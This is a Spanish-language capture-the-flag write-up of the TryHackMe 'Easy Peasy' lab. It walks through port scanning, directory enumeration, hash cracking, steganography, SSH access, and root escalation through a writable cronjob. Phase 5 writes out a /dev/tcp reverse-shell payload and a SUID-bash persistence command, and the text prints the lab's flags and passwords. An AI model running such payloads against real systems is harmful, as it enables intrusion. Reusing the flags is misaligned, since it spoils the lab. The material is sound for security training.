Nota sobre el direccionamiento IP: Debido a la asignación dinámica de TryHackMe, la dirección IP del objetivo cambia de
10.128.175.66a10.128.135.171durante las fases del laboratorio. Ambas corresponden al mismo host.
Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos para mapear los servicios disponibles en la máquina objetivo.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T4):
sudo nmap -sV -T4 -A -p- 10.128.175.66
Resultados Clave de Nmap
El escaneo inicial nos revela tres puertos abiertos:
- Puerto 80 (HTTP): Servidor web
nginx 1.16.1. - Puerto 6498 (SSH): Servicio
OpenSSH 7.6p1 Ubuntu. - Puerto 65524 (HTTP): Servidor web
Apache httpd 2.4.43.
Fase 2: Enumeración y Búsqueda de Flags
Al tener dos servidores web (puertos 80 y 65524), iniciamos una enumeración exhaustiva en ambos.
1. Servidor Apache (Puerto 65524)
Si accedemos al servidor Apache en http://10.128.175.66:65524/, se observa la página por defecto de Apache con un mensaje modificado: “It works! Vols dir?”.
Enumeración de directorios (Gobuster)
Se realiza un escaneo de directorios sobre este puerto utilizando la lista común de dirb:
sudo gobuster dir -u http://10.128.175.66:65524 -w /usr/share/wordlists/dirb/common.txt
El escaneo localiza un archivo robots.txt. Al visualizar su contenido en el navegador, encontramos información crucial:
El archivo define una regla para un user-agent sospechoso:
User-Agent: a18672860d0510e5ab6699730763b250
Descifrando la Flag 2
El string a18672860d0510e5ab6699730763b250 es analizado con la herramienta Name-That-Hash (nth), que sugiere con un alto grado de probabilidad de que se trata de un hash MD5.
Ingresamos el hash en la plataforma de descifrado en línea hashes.com para descifrarlo.
El hash descifrado nos proporciona directamente la Flag 2:
- Flag 2:
flag{1m_s3c0nd_fl4g}
Descubriendo la Flag 3 y Pista Base62
Al revisar el código fuente HTML de la misma página por defecto de Apache (http://10.128.135.171:65524/), localizamos dos elementos ocultos en etiquetas <p hidden> y comentarios:
- La Flag 3:
flag{9fdafb64c47471a8f54cd3fc64cd312} - Una pista codificada:
its encoded with ba....:ObsJmP173N2X6d0rAgEAL0Vu
- Flag 3:
flag{9fdafb64c47471a8f54cd3fc64cd312}
2. Servidor Nginx (Puerto 80)
Si accedemos por el puerto 80, nos encontramos con la página estándar “Welcome to nginx!”.
Enumeración de directorios (Gobuster)
Realizamos un escaneo de directorios con Gobuster sobre el servidor Nginx:
Nota sobre el User-Agent en Gobuster: Aunque en la captura de pantalla de la terminal se observa el uso del parámetro
-acon la flag 2 para especificar el User-Agent, en la práctica esto es redundante e innecesario; el servidor web Nginx responderá de la misma manera y revelará el directorio oculto ante cualquier petición HTTP ordinaria.
sudo gobuster dir -e -u http://10.128.135.171 -w /usr/share/wordlists/dirb/common.txt
El escaneo localiza un directorio oculto en /hidden. Al acceder a él, se muestra una imagen de puertas blindadas:
Realizamos otro Gobuster dentro de /hidden/:
sudo gobuster dir -e -u http://10.128.135.171/hidden/ -w /usr/share/wordlists/dirb/common.txt
Se localiza el subdirectorio /hidden/whatever/. Al ingresar, encontramos una página con el título “dead end” y una imagen de un paisaje montañoso:
Obtención de la Flag 1
Nota sobre la cronología de las flags: A pesar de corresponder a la Flag 1 en el orden de las preguntas de TryHackMe, debido al flujo de nuestra intrusión —donde analizamos el puerto 65524 (Apache) antes de inspeccionar a fondo el puerto 80 (Nginx)— esta flag se acaba encontrando cronológicamente después de las flags 2 y 3.
Al inspeccionar el código fuente HTML de la página en /hidden/whatever/, descubrimos un párrafo oculto con una cadena en Base64:
<p hidden>ZmxhZ3tmXJzN19mbDRnfQ==</p>
Decodificamos esta cadena de Base64 a texto plano para obtener la Flag 1:
- Flag 1:
flag{f1rs7_fl4g}
Fase 3: Explotación y Acceso Inicial
1. Decodificación de la Ruta Oculta (Base62)
Recuperamos la pista de texto que encontramos anteriormente en la sección oculta del código fuente de la página de Apache en el puerto 65524: ObsJmP173N2X6d0rAgEAL0Vu. La pista original venía acompañada del mensaje de guía its encoded with ba..... Si intentamos descodificarla utilizando un decodificador común como Base32 o Base64, obtendremos resultados erróneos o ilegibles debido a la ausencia de caracteres especiales y relleno (=).
Al procesar la firma alfanumérica, determinamos que está codificada en Base62. Cargamos la receta From Base62 en CyberChef utilizando el alfabeto por defecto (0-9A-Za-z) para descifrar el texto plano:
- Ruta decodificada:
/n0th1ng3ls3m4tt3r
2. Extracción de Hash e Imagen
Accedemos a la nueva ruta en el servidor Apache (http://10.128.135.171:65524/n0th1ng3ls3m4tt3r/) y revisamos su código fuente. En él encontramos:
- Una imagen cargada llamada
binarycodepixabay.jpg. - Un hash oculto:
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81.
3. Craqueo de Hash GOST
Identificamos el formato del hash misterioso utilizando hashid. El resultado sugiere múltiples firmas, destacando GOST R 34.11-94 (--format=gost en John).
Utilizamos John the Ripper con el diccionario específico de la máquina (easypeasy_1596838725703.txt) para romper el hash:
john hash.txt --wordlist=easypeasy_1596838725703.txt --format=gost
- Contraseña obtenida:
mypasswordforthatjob
4. Esteganografía con Steghide
Con la frase de paso mypasswordforthatjob, procedemos a extraer cualquier archivo embebido dentro de la imagen binarycodepixabay.jpg (guardada en formato .jpeg al extraer):
steghide extract -sf binarycodepixabay.jpeg
El proceso escribe el archivo secrettext.txt. Al visualizarlo, encontramos un usuario y una contraseña codificada en binario:
- Usuario:
boring - Contraseña en binario:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100011 01101001 01101110 01100001 01110010 01111001
5. Decodificación de Binario a Texto
Traducimos la secuencia binaria a texto plano utilizando un traductor binario:
- Contraseña SSH descifrada:
iconvertedmypasswordtobinary
Fase 4: Intrusión y Obtención de la Flag de Usuario
1. Acceso SSH
Realizamos una segunda verificación rápida de puertos antes del login para reconfirmar la IP (10.128.135.171):
sudo nmap -sV -T5 -p- 10.128.135.171
Iniciamos sesión vía SSH en el puerto alternativo 6498 con las credenciales de boring:
ssh boring@10.128.135.171 -p 6498
Al leer user.txt, encontramos que la flag está cifrada:
synt{a0jvgf3zfa0ez4y}
2. Desencriptado ROT13 (Flag de Usuario)
Utilizamos el comando tr en Linux para rotar el abecedario 13 posiciones y obtener la flag en texto claro:
echo "synt{a0jvgf3zfa0ez4y}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
- Flag de Usuario:
flag{n0wits33msn0rm4l}
Fase 5: Escalamiento de Privilegios
1. Identificación del Vector (Cronjob local)
Listamos todos los scripts Bash presentes en el sistema para detectar scripts personalizados o temporales que puedan estar corriendo en segundo plano:
find / -name "*.sh" 2>/dev/null
Destaca el archivo /var/www/.mysecretcronjob.sh. Al examinar sus propiedades, constatamos que es propiedad de nuestro usuario boring y, por tanto, tenemos permisos de escritura en él. Sin embargo, está configurado en el sistema para ser ejecutado periódicamente por el usuario root mediante un Cron Job.
2. Modificación del Script y Obtención de Root
Modificamos el script con nano o comandos locales para inyectar comandos maliciosos. Añadimos un payload de reverse shell y asignamos el bit SUID (+s) a /bin/bash para asegurar un método persistente de escalado local:
#!/bin/bash
sh -i >& /dev/tcp/192.168.149.112/9001 0>&1
chmod +s /bin/bash
# i will run as root
Pusimos nuestro Netcat local a la escucha en el puerto 9001:
nc -lvnp 9001
Tras un minuto, el cronjob se ejecuta automáticamente como root, enviándonos una consola privilegiada. Nos dirigimos al directorio /root y listamos el archivo .root.txt para obtener la flag de administrador:
- Flag de Root:
flag{63a9f0ea7bb98050796b649e85481845}
La máquina ha sido totalmente comprometida.
Fuentes y Referencias
- CyberChef: Suite web utilizada para la decodificación de Base62 y procesamiento de datos.
- hashes.com: Repositorio en línea para descifrado rápido de hashes MD5.
- John the Ripper: Herramienta de auditoría de seguridad para craquear el hash GOST.
- Name-That-Hash: Utilidad de terminal para pre-identificar algoritmos de hashing.